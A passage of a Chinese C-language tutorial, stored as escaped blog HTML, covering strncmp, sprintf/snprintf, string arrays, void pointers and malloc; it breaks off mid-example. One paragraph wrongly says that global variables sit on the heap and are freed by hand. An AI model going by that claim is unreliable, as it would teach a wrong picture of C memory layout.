class=\"string\"\u003e\u0026#34;hello C\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003estrncmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e5\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;They all have hello.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例只比较两个字符串的前5个字符。\u003c/p\u003e\u003ch3 id=\"sprintf-,snprintf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sprintf-%EF%BC%8Csnprintf\" class=\"headerlink\" title=\"sprintf(),snprintf()\"\u003e\u003c/a\u003esprintf(),snprintf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e函数跟\u003ccode\u003eprintf()\u003c/code\u003e类似,但是用于将数据写入字符串,而不是输出到显示器。该函数的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e的第一个参数是字符串指针变量,其余参数和\u003ccode\u003eprintf()\u003c/code\u003e相同,即第二个参数是格式字符串,后面的参数是待写入的变量列表。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e first[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e last[\u003cspan class=\"number\"\u003e6\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e40\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esprintf\u003c/span\u003e(s, \u003cspan class=\"string\"\u003e\u0026#34;%s %s\u0026#34;\u003c/span\u003e, first, last);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// hello world\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esprintf()\u003c/code\u003e将输出内容组合成“hello world”,然后放入了变量\u003ccode\u003es\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e的返回值是写入变量的字符数量(不计入尾部的空字符\u003ccode\u003e\\0\u003c/code\u003e)。如果遇到错误,返回负值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e有严重的安全风险,如果写入的字符串过长,超过了目标字符串的长度,\u003ccode\u003esprintf()\u003c/code\u003e依然会将其写入,导致发生溢出。为了控制写入的字符串的长度,C 语言又提供了另一个函数\u003ccode\u003esnprintf()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e只比\u003ccode\u003esprintf()\u003c/code\u003e多了一个参数\u003ccode\u003en\u003c/code\u003e,用来控制写入变量的字符串不超过\u003ccode\u003en - 1\u003c/code\u003e个字符,剩下一个位置写入空字符\u003ccode\u003e\\0\u003c/code\u003e。下面是它的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esnprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e*s, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e总是会自动写入字符串结尾的空字符。如果你尝试写入的字符数超过指定的最大字符数,\u003ccode\u003esnprintf()\u003c/code\u003e会写入 n - 1 个字符,留出最后一个位置写入空字符。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esnprintf\u003c/span\u003e(s, \u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;%s %s\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的例子中,\u003ccode\u003esnprintf()\u003c/code\u003e的第二个参数是12,表示写入字符串的最大长度不超过12(包括尾部的空字符)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esnprintf()\u003c/code\u003e的返回值是写入变量的字符数量(不计入尾部的空字符\u003ccode\u003e\\0\u003c/code\u003e),应该小于\u003ccode\u003en\u003c/code\u003e。如果遇到错误,返回负值。\u003c/p\u003e\u003ch3 id=\"字符串数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"字符串数组\"\u003e\u003c/a\u003e字符串数组\u003c/h3\u003e\u003cp\u003e如果一个数组的每个成员都是一个字符串,需要通过二维的字符数组实现。每个字符串本身是一个字符数组,多个字符串再组成一个数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e weekdays[\u003cspan class=\"number\"\u003e7\u003c/span\u003e][\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例就是一个字符串数组,一共包含7个字符串,所以第一维的长度是7。其中,最长的字符串的长度是10(含结尾的终止符\u003ccode\u003e\\0\u003c/code\u003e),所以第二维的长度统一设为10。\u003c/p\u003e\u003cp\u003e因为第一维的长度,编译器可以自动计算,所以可以省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e weekdays[][\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,二维数组第一维的长度,可以由编译器根据后面的赋值,自动计算,所以可以不写。\u003c/p\u003e\u003cp\u003e数组的第二维,长度统一定为10,有点浪费空间,因为大多数成员的长度都小于10。解决方法就是把数组的第二维,从字符数组改成字符指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* weekdays[] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Monday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Tuesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Wednesday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Thursday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Friday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Saturday\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;Sunday\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的字符串数组,其实是一个一维数组,成员就是7个字符指针,每个指针指向一个字符串(字符数组)。\u003c/p\u003e\u003cp\u003e遍历字符串数组的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e7\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, weekdays[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"C-语言的内存管理\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#C-%E8%AF%AD%E8%A8%80%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86\" class=\"headerlink\" title=\"C 语言的内存管理\"\u003e\u003c/a\u003eC 语言的内存管理\u003c/h2\u003e\u003ch3 id=\"简介-5\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-5\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言的内存管理,分成两部分。一部分是系统管理的,另一部分是用户手动管理的。\u003c/p\u003e\u003cp\u003e系统管理的内存,主要是函数内部的变量(局部变量)。这部分变量在函数运行时进入内存,函数运行结束后自动从内存卸载。这些变量存放的区域称为”栈“(stack),”栈“所在的内存是系统自动管理的。\u003c/p\u003e\u003cp\u003e用户手动管理的内存,主要是程序运行的整个过程中都存在的变量(全局变量),这些变量需要用户手动从内存释放。如果使用后忘记释放,它就一直占用内存,直到程序退出,这种情况称为”内存泄漏“(memory leak)。这些变量所在的内存称为”堆“(heap),”堆“所在的内存是用户手动管理的。\u003c/p\u003e\u003ch3 id=\"void-指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#void-%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"void 指针\"\u003e\u003c/a\u003evoid 指针\u003c/h3\u003e\u003cp\u003e前面章节已经说过了,每一块内存都有地址,通过指针变量可以获取指定地址的内存块。指针变量必须有类型,否则编译器无法知道,如何解读内存块保存的二进制数据。但是,向系统请求内存的时候,有时不确定会有什么样的数据写入内存,需要先获得内存块,稍后再确定写入的数据类型。\u003c/p\u003e\u003cp\u003e为了满足这种需求,C 语言提供了一种不定类型的指针,叫做 void 指针。它只有内存块的地址信息,没有类型信息,等到使用该块内存的时候,再向编译器补充说明,里面的数据类型是什么。\u003c/p\u003e\u003cp\u003e另一方面,void 指针等同于无类型指针,可以指向任意类型的数据,但是不能解读数据。void 指针与其他所有类型指针之间是互相转换关系,任一类型的指针都可以转为 void 指针,而 void 指针也可以转为任一类型的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 整数指针转为 void 指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* q = p; \u003cspan class=\"comment\"\u003e// void 指针转为整数指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例演示了,整数指针和 void 指针如何互相转换。\u003ccode\u003e\u0026amp;x\u003c/code\u003e是一个整数指针,\u003ccode\u003ep\u003c/code\u003e是 void 指针,赋值时\u003ccode\u003e\u0026amp;x\u003c/code\u003e的地址会自动解释为 void 类型。同样的,\u003ccode\u003ep\u003c/code\u003e再赋值给整数指针\u003ccode\u003eq\u003c/code\u003e时,\u003ccode\u003ep\u003c/code\u003e的地址会自动解释为整数指针。\u003c/p\u003e\u003cp\u003e注意,由于不知道 void 指针指向什么类型的值,所以不能用\u003ccode\u003e*\u003c/code\u003e运算符取出它指向的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"string\"\u003e\u0026#39;X\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* p = \u0026amp;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\\n\u0026#34;\u003c/span\u003e, *p); \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e是一个 void 指针,所以这时无法用\u003ccode\u003e*p\u003c/code\u003e取出指针指向的值。\u003c/p\u003e\u003cp\u003evoid 指针的重要之处在于,很多内存相关函数的返回值就是 void 指针,只给出内存块的地址信息,所以放在最前面进行介绍。\u003c/p\u003e\u003ch3 id=\"malloc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#malloc\" class=\"headerlink\" title=\"malloc()\"\u003e\u003c/a\u003emalloc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emalloc()\u003c/code\u003e函数用于分配内存,该函数向系统要求一段内存,系统就在“堆”里面分配一段连续的内存块给它。它的原型定义在头文件\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e* \u003cspan class=\"title function_\"\u003emalloc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个非负整数作为参数,表示所要分配的内存字节数,返回一个 void 指针,指向分配好的内存块。这是非常合理的,因为\u003ccode\u003emalloc()\u003c/code\u003e函数不知道,将要存储在该块内存的数据是什么类型,所以只能返回一个无类型的 void 指针。\u003c/p\u003e\u003cp\u003e可以使用\u003ccode\u003emalloc()\u003c/code\u003e为任意类型的数据分配内存,常见的做法是先使用\u003ccode\u003esizeof()\u003c/code\u003e函数,算出某种数据类型所需的字节长度,然后再将这个长度传给\u003ccode\u003emalloc()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan 